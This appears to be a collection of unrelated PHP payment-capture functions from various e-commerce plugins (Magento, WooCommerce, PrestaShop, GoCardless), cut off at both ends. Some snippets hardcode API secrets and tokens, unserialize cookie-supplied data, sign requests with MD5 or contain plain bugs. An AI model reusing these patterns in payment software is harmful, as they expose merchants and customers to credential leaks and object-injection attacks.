)->save();\r\n\t\t}\r\n\t\t\r\n\t\t$trans_id = explode( ':', $payment->getOrder()->getExtOrderId() );\r\n\t\t$type = !empty($trans_id[1]) ? 'profileTransPriorAuthCapture' : 'profileTransAuthCapture';\r\n\t\t\r\n\t\t// Set 'save card' checkbox if checked\r\n\t\tif( ( isset( $post['save_card'] ) && $post['save_card'] == 1 ) || $profile_id > 0 || !empty( $trans_id[1] ) ) {\r\n\t\t\t$payment->setSaveCard( true );\r\n\t\t}\r\n\t\t\r\n\t\t// Handle partial-invoice with expired auth\r\n\t\tif( $type == 'profileTransPriorAuthCapture' && $payment->getOrder()->getTotalPaid() > 0 ) {\r\n\t\t\t$type = 'profileTransCaptureOnly';\r\n\t\t}\r\n\t\t\r\n\t\t// Grab the invoice in case partial invoicing\r\n\t\t$invoice = Mage::registry('current_invoice');\r\n\t\tif( !is_null( $invoice ) ) {\r\n\t\t\t$this->_invoice = $invoice;\r\n\t\t}\r\n\t\t\r\n\t\treturn $this->bill( $payment, $amount, $type );\r\n\t}", "public static function capture_credit_card_authorization( $order_id ) {\n\t\t$order = new WC_Order( $order_id );\n\n\t\tswitch ($order->get_payment_method()) {\n\t\t\tcase \"globalpayments_heartland\":\n\t\t\t\t$gateway = new HeartlandGateway();\n\t\t\t\tbreak;\n\t\t\tcase \"globalpayments_transit\":\n\t\t\t\t$gateway = new TransitGateway();\n\t\t\t\tbreak;\n\t\t\tcase \"globalpayments_genius\":\n\t\t\t\t$gateway = new GeniusGateway();\n\t\t\t\tbreak;\n\t\t\tcase \"globalpayments_gpapi\":\n\t\t\t\t$gateway = new GpApiGateway();\n\t\t\t\tbreak;\n\t\t};\n\n\t\t$request = $gateway->prepare_request( self::TXN_TYPE_CAPTURE, $order );\n\n\t\ttry {\n\t\t\t$response = $gateway->submit_request( $request );\n\n\t\t\tif ( \"00\" === $response->responseCode && \"Success\" === $response->responseMessage\n\t\t\t\t|| 'SUCCESS' === $response->responseCode && \"CAPTURED\" === $response->responseMessage ) {\n\t\t\t\t$order->add_order_note(\n\t\t\t\t\t\"Transaction captured. Transaction ID for the capture: \" . $response->transactionReference->transactionId\n\t\t\t\t);\n\t\t\t}\n\n\t\t\treturn $response;\n\t\t} catch ( Exception $e ) {\n\t\t\twp_die(\n\t\t\t\t$e->getMessage(),\n\t\t\t\t'',\n\t\t\t\tarray(\n\t\t\t\t\t'back_link' => true,\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t}", "public function capture(Varien_Object $payment, $amount)\n {\n // disallow Ingenico Payment Services online capture if amount is zero\n if ($amount < 0.01) {\n return parent::capture($payment, $amount);\n }\n\n if (true === Mage::registry('ops_auto_capture')) {\n Mage::unregister('ops_auto_capture');\n return parent::capture($payment, $amount);\n }\n\n $orderId = $payment->getOrder()->getId();\n $arrInfo = Mage::helper('ops/order_capture')->prepareOperation($payment, $amount);\n $storeId = $payment->getOrder()->getStoreId();\n\n if ($this->isRedirectNoticed($orderId)) {\n return $this;\n }\n try {\n $requestParams = $this->getBackendOperationParameterModel()->getParameterFor(\n self::OPS_CAPTURE_TRANSACTION_TYPE,\n $this,\n $payment,\n $amount,\n $arrInfo\n );\n $response = Mage::getSingleton('ops/api_directlink')->performRequest(\n $requestParams,\n Mage::getModel('ops/config')->getDirectLinkGatewayPath($storeId),\n $storeId\n );\n Mage::helper('ops/payment')->saveOpsStatusToPayment($payment, $response);\n\n if ($response['STATUS'] == self::OPS_PAYMENT_PROCESSING ||\n $response['STATUS'] == self::OPS_PAYMENT_UNCERTAIN ||\n $response['STATUS'] == self::OPS_PAYMENT_IN_PROGRESS\n ) {\n Mage::helper('ops/directlink')->directLinkTransact(\n Mage::getSingleton(\"sales/order\")->loadByIncrementId($payment->getOrder()->getIncrementId()),\n $response['PAYID'],\n $response['PAYIDSUB'],\n $arrInfo,\n self::OPS_CAPTURE_TRANSACTION_TYPE,\n $this->getHelper()->__('Start Ingenico Payment Services %s capture request',$arrInfo['type']));\n $order = Mage::getModel('sales/order')->load($orderId); //Reload order to avoid wrong status\n $order->addStatusHistoryComment(\n Mage::helper('ops')->__(\n 'Invoice will be created automatically as soon as Ingenico Payment Services sends an acknowledgement. Ingenico Payment Services status: %s.',\n Mage::helper('ops')->getStatusText($response['STATUS'])\n )\n );\n $order->save();\n $this->getHelper()->redirectNoticed(\n $orderId,\n $this->getHelper()->__(\n 'Invoice will be created automatically as soon as Ingenico Payment Services sends an acknowledgement. Ingenico Payment Services status: %s.',\n Mage::helper('ops')->getStatusText($response['STATUS'])\n )\n );\n return $this;\n }\n elseif ($response['STATUS'] == self::OPS_PAYMENT_PROCESSED_MERCHANT || $response['STATUS'] == self::OPS_PAYMENT_REQUESTED) {\n return parent::capture($payment, $amount);\n } else{\n Mage::throwException(\n $this->getHelper()->__(\n 'The Invoice was not created. Ingenico Payment Services status: %s.',\n Mage::helper('ops')->getStatusText($response['STATUS'])\n )\n );\n }\n }\n catch (Exception $e){\n Mage::getModel('ops/status_update')->updateStatusFor($payment->getOrder());\n Mage::helper('ops')->log(\"Exception in capture request:\".$e->getMessage());\n throw new Mage_Core_Exception($e->getMessage());\n }\n }", "protected function doCapturePayment() {\n throw new \\Exception('Child classes must override this method to support payment capture.');\n }", "public function whmcs_capture_payment($params = array()) {\n\t\t$params['action'] = 'CapturePayment';\n\t\t// return Whmcs_base::send_request($params);\n $load = new Whmcs_base();\n return $load->send_request($params);\n\t}", "function _wpsc_paycoingateway_return() {\n\n if ( !isset( $_REQUEST['wpsc_paycoingateway_return'] ) ) {\n return;\n }\n\n // paycoingateway order param interferes with wordpress\n unset($_REQUEST['order']);\n unset($_GET['order']);\n\n if (! isset( $_REQUEST['sessionid'] ) ) {\n return;\n }\n\n global $sessionid;\n\n $purchase_log = new WPSC_Purchase_Log( $_REQUEST['sessionid'], 'sessionid' );\n\n if ( ! $purchase_log->exists() || $purchase_log->is_transaction_completed() )\n return;\n\n $status = 1;\n\n if ( isset( $_REQUEST['cancelled'] ) ) {\n # Unsetting sessionid to show error\n do_action('wpsc_payment_failed');\n $sessionid = false;\n unset ( $_REQUEST['sessionid'] );\n unset ( $_GET['sessionid'] );\n } else {\n $status = WPSC_Purchase_Log::ORDER_RECEIVED;\n $purchase_log->set( 'processed', $status );\n $purchase_log->save();\n wpsc_empty_cart();\n }\n\n}", "protected function _capture_payment_paypal_pro( $order ) {\n\t\t\t$paypalpro = new WC_Gateway_PayPal_Pro();\n\n\t\t\t$txn_id = $this->_get_transaction_id( version_compare( WC_VERSION, '3.0', '<' ) ? $order->id : $order->get_id() );\n\t\t\t$url = $paypalpro->testmode ? $paypalpro->testurl : $paypalpro->liveurl;\n\n\t\t\t$post_data = array(\n\t\t\t\t'VERSION' => $paypalpro->api_version,\n\t\t\t\t'SIGNATURE' => $paypalpro->api_signature,\n\t\t\t\t'USER' => $paypalpro->api_username,\n\t\t\t\t'PWD' => $paypalpro->api_password,\n\t\t\t\t'METHOD' => 'DoCapture',\n\t\t\t\t'AUTHORIZATIONID' => $txn_id,\n\t\t\t\t'AMT' => $order->get_total(),\n\t\t\t\t'CURRENCYCODE' => ( version_compare( WC_VERSION, '3.0', '<' ) ? $order->get_order_currency() : $order->get_currency() ),\n\t\t\t\t'COMPLETETYPE' => 'Complete',\n\t\t\t);\n\n\t\t\tif ( $paypalpro->soft_descriptor ) {\n\t\t\t\t$post_data['SOFTDESCRIPTOR'] = $paypalpro->soft_descriptor;\n\t\t\t}\n\n\t\t\t$paypalpro->log( 'Capture payment request: ' . print_r( $post_data, true ) );\n\n\t\t\t$response = wp_remote_post( $url, array(\n\t\t\t\t'method' => 'POST',\n\t\t\t\t'headers' => array(\n\t\t\t\t\t'PAYPAL-NVP' => 'Y',\n\t\t\t\t),\n\t\t\t\t'body' => $post_data,\n\t\t\t\t'timeout' => 70,\n\t\t\t\t'user-agent' => 'WooCommerce',\n\t\t\t\t'httpversion' => '1.1',\n\t\t\t));\n\n\t\t\tif ( is_wp_error( $response ) ) {\n\t\t\t\t$order->add_order_note( __( 'Unable to capture charge!', 'woocommerce-gateway-paypal-pro' ) . ' ' . $response->get_error_message() );\n\t\t\t\t$paypalpro->log( 'Error: ' . $response->get_error_message() );\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tparse_str( $response['body'], $parsed_response );\n\n\t\t\t$paypalpro->log( 'Parsed response: ' . print_r( $parsed_response, true ) );\n\n\t\t\tswitch ( strtolower( $parsed_response['ACK'] ) ) {\n\t\t\t\tcase 'success':\n\t\t\t\tcase 'successwithwarning':\n\t\t\t\t\t$this->_capture_payment_paypal_pro_success( $order, $parsed_response );\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'failure':\n\t\t\t\tdefault:\n\t\t\t\t\t$this->_capture_payment_paypal_pro_failed( $order, $parsed_response );\n\t\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}", "public function orderCapture(PayPlugPaymentEvent $paymentEvent)\n {\n $this->dispatcher->dispatch(PayPlugPaymentEvent::CREATE_CAPTURE_EVENT, $paymentEvent);\n }", "public function actionPaynow()\n\t{ \n\t // Duration is for subscription\n\t\t$duration = Yii::app()->request->getParam(\"duration\", \"0\");\n\t\t// subscription or pre-authorization\n\t\t$type = Yii::app()->request->getParam(\"type\", \"0\");\n\t\t \n\t\tif( isset($_SESSION['invoice_id']) )\n\t\t{\n\t\t \n\t\t$invoiceModel = new Invoices;\n\t $payment\t\t= $invoiceModel->getInvoicePayment( $_SESSION['invoice_id'] );\n\t\t// Sandbox\n\t\tGoCardless::$environment = 'sandbox';\n\t\t\n\t\t// Config vars\n\t\t$account_details = array(\n\t\t 'app_id' => 'HXC009A5B8B2AX6A0C6HY4950B0JXM1Y8HEGZB9Q6CD51TDG1RR34BTG6N6H1PVK',\n\t\t 'app_secret' => 'V7MTFFF67K4SEH0AWWTHEEXWRKK7JQ4MJ0QWTZ3EP0YMG65XG9S1TCA77R2PMDYC',\n\t\t 'merchant_id' => '07N2GAPV0D',\n\t\t 'access_token' => '0T6JYNA5B1S6H2DWWA6SJ43CBTG7QVMSZR79Z1ENTWZWK59Z8616H5GWBHDDTX02'\n\t\t);\n\t\t\n\t\t// Fail nicely if no account details set\n\t\tif ( ! $account_details['app_id'] && ! $account_details['app_secret']) {\n\t\t echo '<p>First sign up to <a href=\"http://gocardless.com\">GoCardless</a> and\n\t\tcopy your sandbox API credentials from the \\'Developer\\' tab into the top of\n\t\tthis script.</p>';\n\t\t exit();\n\t\t}\n\t\t\n\t\t// Initialize GoCardless\n\t\tGoCardless::set_account_details($account_details);\n\t\t\n\t\tif (isset($_GET['resource_id']) && isset($_GET['resource_type'])) {\n\t\t // Get vars found so let's try confirming payment\n\t\t\n\t\t $confirm_params = array(\n\t\t\t'resource_id' => $_GET['resource_id'],\n\t\t\t'resource_type' => $_GET['resource_type'],\n\t\t\t'resource_uri' => $_GET['resource_uri'],\n\t\t\t'signature' => $_GET['signature']\n\t\t );\n\t\t \n\t\t // State is optional\n\t\t if (isset($_GET['state'])) {\n\t\t\t$confirm_params['state'] = $_GET['state'];\n\t\t }\n\t\t\n\t\t $confirmed_resource = GoCardless::confirm_resource($confirm_params);\n\t \n\t\t if( isset($confirmed_resource->id)) { // Successfull\n\t\t \n\t\t\t$invoiceId = $_SESSION['invoice_id']; \n\t\t \n\t\t\t// Set to paid\n\t\t $invoiceModel->updateGocardlessPayment( $confirmed_resource, $_SESSION['invoice_id']); \n\t\t\t$this->sendInvoice( $invoiceId );\n \t\t\t$this->render(\"paynow\");\n\t\t\t unset($_SESSION['invoice_id']);\n\t\t }\n\t\t else {\n\t\t \t$this->redirect(array(\"invoice/index/\".$_SESSION['invoice_id']));\n\t\t \t\n\t\t }exit;\n\t\t}\n\t\t\n /*************** *****************\n\t\t Payments Arrays \n\t\t *********************************/\t\n\t\t\t// Onetime Payment\n\t\t\tif($duration == 0) \n\t\t\t{\n\t\t\t\t$payment_details = array(\n\t\t\t\t 'amount' => $payment[0]['payment_amount'],\n\t\t\t\t 'name' => 'Invoice Payment'\n\t\t\t\t \n\t\t\t\t);\n\t\t\t\t\n\t\t\t $payment_url = GoCardless::new_bill_url($payment_details);\n\t\t\t}\n\t\t\t//Need a subscription\n\t\t\telseif($duration > 0 && $type == 'subscription') \n\t\t\t{\n\t\t\t\t$payment_details = array(\n\t\t\t\t 'amount' => $payment[0]['payment_amount'],\n\t\t\t\t 'interval_length' => $duration, \n\t\t\t\t 'interval_unit' => 'month',\n\t\t\t\t 'name' => 'Monthly Subscription',\n\t\t\t\t);\n\t\t\t\t$payment_url = GoCardless::new_subscription_url($payment_details);\n\t\t\t}\n\t\t\t//Need a Pre Authorization\n\t\t\telseif($duration > 0 && $type == 'authorization') \n\t\t\t{\n\t\t\t\t# - Amount Taken from Customer\n\t\t\t\t$authorization_amount = Yii::app()->request->getParam('amount','0');\n\t\t\t\tif($authorization_amount >= $payment[0]['payment_amount'])\n\t\t\t\t\t$amount = $authorization_amount;\n\t\t\t\telse\n\t\t\t\t\t$amount = $payment[0]['payment_amount'];\n\t\t\t\t\t\n\t\t\t\t$payment_details = array(\n\t\t\t\t 'max_amount' => $amount,\n\t\t\t\t 'interval_length' => $duration, \n\t\t\t\t 'interval_unit' => 'month',\n\t\t\t\t 'name' => 'Pre-Authorization',\n\t\t\t\t);\n\t\t\t\t$payment_url = GoCardless::new_pre_authorization_url($payment_details);\n\t\t\t}\t\n\t\t\t\t# - Redirecting it to Payment Gateway - GoCardless\n\t\t\t\t$this->redirect( $payment_url );\n\t\t}\n\t\t\n\t}", "public function acceptCapture($order, $params)\n {\n $arrInfo = array();\n Mage::register('ops_auto_capture', true);\n $forceFullInvoice = false;\n $payId = $params['PAYID'];\n try {\n if ($payId) {\n $transaction = Mage::helper(\"ops/directlink\")->getPaymentTransaction(\n $order,\n $payId,\n Netresearch_OPS_Model_Payment_Abstract::OPS_CAPTURE_TRANSACTION_TYPE\n );\n if ($transaction) {\n $arrInfoSerialized = $transaction->getAdditionalInformation();\n $arrInfo = unserialize($arrInfoSerialized['arrInfo']);\n if (array_key_exists('type', $arrInfo) && $arrInfo['type'] == 'full') {\n $forceFullInvoice = true;\n }\n }\n }\n } catch (Mage_Core_Exception $e) {\n //If no transaction was found create a full invoice if possible\n $forceFullInvoice = true;\n $transaction = null;\n }\n\n if ($forceFullInvoice === true) {\n if (!$order->getInvoiceCollection()->getSize()) {\n $invoice = $order->prepareInvoice();\n $invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_ONLINE);\n $comment = Mage::helper(\"ops\")->__(\"Capture process complete\");\n } else {\n Mage::throwException(\n Mage::helper('ops')->__('The capture has already been invoiced.')\n );\n }\n } else {\n $invoice = Mage::getModel('sales/service_order', $order)\n ->prepareInvoice($arrInfo['items']);\n if (!$invoice->getTotalQty()) {\n Mage::throwException(\n Mage::helper('ops')->__('Cannot create an invoice without products.')\n );\n }\n $invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_ONLINE);\n $comment = Mage::helper(\"ops\")->__(\"Capture process complete\");\n }\n\n if (is_object($invoice)) {\n $invoice->register();\n $transactionSave = Mage::getModel('core/resource_transaction')\n ->addObject($invoice)\n ->addObject($invoice->getOrder());\n $shipment = false;\n if (isset($transaction)\n && array_key_exists('do_shipment', $arrInfo)\n && $arrInfo['do_shipment']\n ) {\n $shipment = $this->_prepareShipment($invoice, $arrInfo);\n if ($shipment) {\n $shipment->setEmailSent($invoice->getEmailSent());\n $transactionSave->addObject($shipment);\n }\n }\n\n $transactionSave->save();\n\n //Send E-Mail and Comment\n $sendEMail = false;\n $sendEMailWithComment = false;\n if (isset($arrInfo['send_email'])) $sendEMail = true;\n if (isset($arrInfo['comment_customer_notify'])) $sendEMailWithComment = true;\n $comment = array_key_exists('comment_text', $arrInfo) ? $arrInfo['comment_text'] : '';\n\n $invoice->addComment($comment, $sendEMailWithComment);\n if ($sendEMail) {\n $invoice->sendEmail(true, $comment);\n $invoice->setEmailSent(true);\n }\n $invoice->save();\n\n Mage::helper(\"ops/directlink\")->closePaymentTransaction(\n $order,\n $params,\n Netresearch_OPS_Model_Payment_Abstract::OPS_CAPTURE_TRANSACTION_TYPE,\n Mage::helper('ops')->__(\n 'Invoice \"%s\" was created automatically. Ingenico Payment Services Status: %s.',\n $invoice->getIncrementId(),\n Mage::helper('ops')->getStatusText($params['STATUS'])\n ),\n $sendEMail\n );\n Mage::helper('ops')->log(sprintf(\"Invoice created for order: %s\", $order->getIncrementId()));\n }\n $order->save();\n $eventData = array('data_object' => $order, 'order' => $order);\n Mage::dispatchEvent('ops_sales_order_save_commit_after', $eventData);\n }", "public function _registerPaymentCapture()\n {\n\n $session = $session = Mage::getSingleton('checkout/session');\n $purchaseId = $session->getPurchaseId();\n $this->_order = Mage::getModel('sales/order')->loadByIncrementId($session->getLastRealOrderId());\n $payment = $this->_order->getPayment();\n\n $payment->setTransactionId($purchaseId)\n ->setCurrencyCode('EUR')\n ->setIsTransactionClosed(0)\n ->registerCaptureNotification(\n $this->getRequestData('amount') / 100\n );\n\n Mage::helper('sign2pay')->setStatusOnOrder($this->_order, Mage::getStoreConfig('payment/sign2pay/complete_order_status', Mage::app()->getStore()));\n $this->_order->save();\n\n // notify customer\n $invoice = $payment->getCreatedInvoice();\n if ($invoice && !$this->_order->getEmailSent()) {\n $this->_order->sendNewOrderEmail()->addStatusHistoryComment(\n Mage::helper('sign2pay')->__('Notified customer about invoice #%s.', $invoice->getIncrementId())\n )\n ->setIsCustomerNotified(true)\n ->save();\n }\n\n return $this;\n }", "public function takePayment() {\r\n if ($this->payment instanceof PayPal) {\r\n $this->payment->payByPayPal();\r\n }elseif ($this->payment instanceof SagePay) {\r\n $this->payment->payBySagePay();\r\n } elseif ($this->payment instanceof WorldPay) {\r\n $this->payment->payByWorldPay();\r\n }\r\n }", "public function receivingPayment()\n {\n $response = $this->client->request($this->methods['post'], \"sandbox\", [\n 'json' => [\n 'ENVIRONMENT' => $this->environment['sandbox'],\n 'VENDOR_ID' => $this->vendor_id,\n 'PAYMENT_ID' => $this->payment_id,\n 'PAYMENT_NAME' => $this->payment_name,\n 'AGR_TRANS_ID' => $this->agr_trans_id,\n 'MERCHANT_TRANS_ID' => $this->merchant_trans_id,\n 'MERCHANT_TRANS_AMOUNT' => $this->merchant_trans_amount,\n 'MERCHANT_TRANS_DATA' => $this->merchant_trans_data,\n 'SIGN_TIME' => $this->generateSignTime(),\n 'SIGN_STRING' => md5($this->SECRET_KEY .$this->agr_trans_id . $this->vendor_id.$this->payment_id. $this->payment_name. $this->merchant_trans_id. $this->merchant_trans_amount. $this->environment['live']. $this->sign_time),\n ]\n ]);\n\n return $response;\n }", "public function capture(float $amount) {\n // TODO: Find out what \"the merchant can capture the amount multiple times\" and \"the merchant can’t capture more than we initially authorized him to.\" mean.\n // I read this as the merchant being able to capture bits and pieces of the amount in the authorization request, but no more.\n $this->authorizationRequest->markAsCaptured($amount);\n $this->card->loseMoney($amount);\n $this->authorizationRequest->sendToMerchant($amount);\n define(EPSILON, 0.00001);\n // Cleans up the relevant authorization request if it's zero.\n if ($this->authorizationRequest->getAuthorizedAmount() < EPSILON) {\n $this->card->removeEarmarked($this->authorizationRequest);\n }\n\n }", "public function hookPaymentReturn($params)\n {\n if ($this->active == false)\n return;\n\n $order = $params['order'];\n\n $logger = new FileLogger(); //0 == nivel de debug. Sin esto logDebug() no funciona.\n $logger->setFilename(_PS_ROOT_DIR_.\"/kushkiLogs/\".date('Y-m-d').\".log\");\n\n\n if ($order->getCurrentOrderState()->id != Configuration::get('PS_OS_ERROR')){\n $this->smarty->assign('status', 'ok');\n\n\n // asignación sesiones normal\n $cookie = new Cookie('cookie_ticket_number');\n $cookiePdfUrl = new Cookie('cookie_kushkiPdfUrl');\n $cookie_flag = new Cookie('cookie_flag');\n\n // asignación sesiones transfer\n $cookie_transfer_flag = new Cookie('transfer_flag');\n // asignación sesiones card_async\n $cookie_card_async_flag = new Cookie('card_async_flag');\n\n\n if(isset($cookie_card_async_flag->variable_name) and (int)$cookie_card_async_flag->variable_name === 1){\n $this->smarty->assign('is_card_async', $cookie_card_async_flag->variable_name);\n $cookie_card_async_ticketNumber = new Cookie('card_async_ticketNumber');\n $cookie_card_async_status = new Cookie('card_async_status');\n $cookie_card_async_transactionReference = new Cookie('card_async_transactionReference');\n $_body_main_card_async = new Cookie('_body_main_card_async');\n\n $var_card_async_created = date('Y/m/d', $_body_main_card_async->variable_name);\n $this->smarty->assign('card_async_created', $var_card_async_created);\n\n if(isset($cookie_card_async_ticketNumber->variable_name) ) {\n $this->smarty->assign('card_async_ticketNumber', $cookie_card_async_ticketNumber->variable_name);\n }\n if(isset($cookie_card_async_transactionReference->variable_name) ) {\n $this->smarty->assign('card_async_transactionReference', $cookie_card_async_transactionReference->variable_name);\n }\n\n if(isset($cookie_flag->variable_name) and (int)$cookie_flag->variable_name===1) {\n\n $logger->logInfo(\" * Payment status on card_async: \".$cookie_card_async_status->variable_name.\", ticket number: \" . $cookie_card_async_ticketNumber->variable_name . \" whit reference: \" . $order->reference . \" - orden id: \" . $order->id);\n PrestaShopLogger::addLog('Kushki pago status: '.$cookie_card_async_status->variable_name.' en orden ' . $order->id . ' con referencia ' . $order->reference . ' y numero de ticket: ' . $cookie_card_async_ticketNumber->variable_name, 1);\n $cookie_flag->variable_name = 0;\n $cookie_flag->write();\n }\n }\n\n\n if(isset($cookie_transfer_flag->variable_name) and (int)$cookie_transfer_flag->variable_name === 1){\n\n // asignación sesiones transfer\n $cookie_transfer_ticketNumber = new Cookie('transfer_ticketNumber');\n $cookie_transfer_status = new Cookie('transfer_status');\n $cookie_transfer_statusDetail = new Cookie('transfer_statusDetail');\n $cookie_transfer_trazabilityCode = new Cookie('transfer_trazabilityCode');\n $_body_main = new Cookie('_body_main');\n $_bankName = new Cookie('_bankName');\n\n if(isset($cookie_flag->variable_name) and (int)$cookie_flag->variable_name === 1) {\n\n $logger->logInfo(\" * Payment status: \".$cookie_transfer_status->variable_name.\", ticket number: \" . $cookie_transfer_ticketNumber->variable_name . \" whit reference: \" . $order->reference . \" - orden id: \" . $order->id);\n PrestaShopLogger::addLog('Kushki pago status: '.$cookie_transfer_status->variable_name.' en orden ' . $order->id . ' con referencia ' . $order->reference . ' y numero de ticket: ' . $cookie_transfer_ticketNumber->variable_name, 1);\n $cookie_flag->variable_name = 0;\n $cookie_flag->write();\n }\n\n\n // mandamos variables a la plantilla\n $_body_main_array = unserialize( $_body_main->variable_name);\n\n\n //razon social\n $var_transfer_razon_social = Configuration::get('KUSHKIPAGOS_RAZON_SOCIAL');\n if (!$var_transfer_razon_social) {\n $var_transfer_razon_social = 'Sin razon social';\n }\n $this->smarty->assign('var_transfer_razon_social', $var_transfer_razon_social);\n\n //estado\n if ($cookie_transfer_status->variable_name == 'approvedTransaction') {\n $var_transfer_status = 'Aprobada';\n } elseif ($cookie_transfer_status->variable_name == 'initializedTransaction') {\n $var_transfer_status = 'Pendiente';\n } elseif ($cookie_transfer_status->variable_name == 'declinedTransaction') {\n $var_transfer_status = 'Denegada';\n } else {\n $var_transfer_status = 'Denegada';\n }\n $this->smarty->assign('var_transfer_status', $var_transfer_status);\n\n //documentNumbre\n $var_transfer_documentNumber = $_body_main_array->documentNumber;\n $this->smarty->assign('var_transfer_documentNumber', $var_transfer_documentNumber);\n\n //bank name\n $var_transfer_bankName = $_bankName->variable_name;\n $this->smarty->assign('var_transfer_bankName', $var_transfer_bankName);\n\n //paymentDescription\n $var_transfer_paymentDescription = $_body_main_array->paymentDescription;\n $this->smarty->assign('var_transfer_paymentDescription', $var_transfer_paymentDescription);\n\n //fecha\n $var_transfer_created= date('Y/m/d', $_body_main_array->created/1000);\n $this->smarty->assign('var_transfer_created', $var_transfer_created);\n\n\n if(isset($cookie_transfer_flag->variable_name) ) {\n $this->smarty->assign('is_transfer', $cookie_transfer_flag->variable_name);\n }\n if(isset($cookie_transfer_status->variable_name) ) {\n $this->smarty->assign('cookie_transfer_status', $cookie_transfer_status->variable_name);\n }\n if(isset($cookie_transfer_ticketNumber->variable_name) ) {\n $this->smarty->assign('ticketNumber', $cookie_transfer_ticketNumber->variable_name);\n }\n if(isset($cookie_transfer_statusDetail->variable_name) ) {\n $this->smarty->assign('transfer_statusDetail', $cookie_transfer_statusDetail->variable_name);\n }\n if(isset($cookie_transfer_trazabilityCode->variable_name) ) {\n $this->smarty->assign('transfer_trazabilityCode', $cookie_transfer_trazabilityCode->variable_name);\n }\n\n }else {\n\n if(isset($cookie->variable_name) ) {\n $this->smarty->assign('ticketNumber', $cookie->variable_name);\n }\n if(isset($cookiePdfUrl->variable_name) ) {\n $this->smarty->assign('pdfUrl', $cookiePdfUrl->variable_name);\n }\n\n if (isset($cookie_flag->variable_name) and (int)$cookie_flag->variable_name === 1) {\n\n $logger->logInfo(\" * Payment DONE, ticket number: \" . $cookie->variable_name . \" whit reference: \" . $order->reference . \" - orden id: \" . $order->id);\n PrestaShopLogger::addLog('Kushki pago CORRECTO en orden ' . $order->id . ' con referencia ' . $order->reference . ' y numero de ticket: ' . $cookie->variable_name, 1);\n $cookie_flag->variable_name = 0;\n $cookie_flag->write();\n }\n }\n\n }else{\n $logger->logError(\" * FAIL whit reference: \".$order->reference.\" - orden id: \".$order->id.\" - amount: \".Tools::displayPrice(\n $params['order']->getOrdersTotalPaid(),\n new Currency($params['order']->id_currency),\n false\n ) );\n PrestaShopLogger::addLog('Kushki pago FALLIDO en orden '.$order->id.' con referencia '.$order->reference, 3);\n\n }\n\n $this->smarty->assign(array(\n 'shop_name' => $this->context->shop->name,\n 'id_order' => $order->id,\n 'reference' => $order->reference,\n 'params' => $params,\n 'total_to_pay' => Tools::displayPrice(\n $params['order']->getOrdersTotalPaid(),\n new Currency($params['order']->id_currency),\n false\n )\n ));\n\n return $this->fetch('module:kushkipagos/views/templates/hook/confirmation.tpl');\n }", "public function doCapturePayment(Eway_Rapid31_Model_Response $response)\n {\n $this->setTransactionId($response->getTransactionID());\n $this->setMethod(Eway_Rapid31_Model_Config::METHOD_PROCESS_PAYMENT);\n\n $response = $this->_doRapidAPI('CapturePayment');\n return $response;\n }", "public function payment(){\n\n\t}", "public function authorizeCapture($transaction)\n {\n \n $return = array(\n 'authorized' => 0,\n 'authorization_code' => '',\n 'transaction_id' => '',\n 'message' => ''\n );\n\n $products = array(); \n\n !is_object($transaction) ? $transaction = (object) $transaction : false;\n\n !empty($transaction->transaction_mode) ? $this->setServer($transaction->transaction_mode) : false; \n !empty($transaction->transaction_id) ? $id = $transaction->transaction_id : $id = $this->login;\n !empty($transaction->transaction_pw) ? $pw = $transaction->transaction_pw : $pw = $this->password;\n\n $this->payment->cc_number = $this->scrubVar($this->payment->cc_number);\n\n if($transacton['exception']) { \n \n $aEntry = array(\n 'id' => $transaction->item_id,\n 'name' => $transaction->item_name,\n 'desc' => $transaction->item_desc,\n 'qty' => $transaction->item_qty,\n 'price' => $transaction->amount,\n 'taxable' => $transaction->item_taxable\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n\n $this->cart->total = $transaction->amount;\n\n } else {\n\n if (is_array($this->cart->items)) {\n $amount = 0;\n $nLoop = 0;\n foreach ($this->cart->items AS $cKey => $aItem ) { \n $aItem = (array) $aItem; \n $itemPrice = ($aItem['price'] + $aItem['setupfee'] + $aItem['handle_charge'] + $aItem['gift_charge']);\n if ( $nLoop < 30 ) { \n $nLoop++;\n $aEntry = array(\n 'id' => 'item'.$nLoop,\n 'name' => substr(trim($aItem['sku']), 0, 28 ),\n 'desc' => substr( $aItem['title'].' '.strip_tags( $aItem['attribute_text'] ), 0, 254 ),\n 'qty' => $aItem['qty'],\n 'price' => $itemPrice,\n 'taxable' => $aItem['taxable']\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n\n }\n $amount += ($aItem['qty'] * $itemPrice); \n } \n\n $this->cart->amount = $amount;\n\n if ($this->cart->promotional_discount > 0) {\n $products = array();\n \n $aEntry = array(\n 'id' => 'item1',\n 'name' => 'DISCOUNT',\n 'desc' => 'Complex/Discounted transaction - ' . number_format($this->cart->promotional_discount,2),\n 'qty' => 1,\n 'price' => $this->cart->amount,\n 'taxable' => 1\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n \n } \n\n $this->cart->total = (\n ($this->cart->amount + $this->cart->taxes + $this->cart->handle_charge + $this->cart->ship_charge) - \n $this->cart->promotional_discount);\n\n } else { \n \n $aEntry = array(\n 'id' => 'item1',\n 'name' => 'SIMPLE',\n 'desc' => 'NO ITEM INFORMATION PASSED',\n 'qty' => 1,\n 'price' => $this->cart->amount,\n 'taxable' => 1\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n\n $this->cart->total = (\n ($this->cart->amount + $this->cart->taxes + $this->cart->handle_charge + $this->cart->ship_charge) - \n $this->cart->promotional_amount);\n } \n\n } \n\n empty($this->cart->amount) ? $this->cart->amount = '0.00' : $this->cart->amount = $this->scrubVar($this->cart->amount, 'MONEY');\n empty($this->cart->taxes) ? $this->cart->taxes = '0.00' : $this->cart->taxes = $this->scrubVar($this->cart->taxes, 'MONEY');\n empty($this->cart->handle_charge) ? $this->cart->handle_charge = '0.00' : $this->cart->handle_charge = $this->scrubVar($this->cart->handle_charge, 'MONEY');\n empty($this->cart->ship_charge) ? $this->cart->ship_charge = '0.00' : $this->cart->ship_charge = $this->scrubVar($this->cart->ship_charge, 'MONEY');\n // empty($this->cart->gift_charge) ? $this->cart->gift_charge = '0.00' : $this->cart->gift_charge = 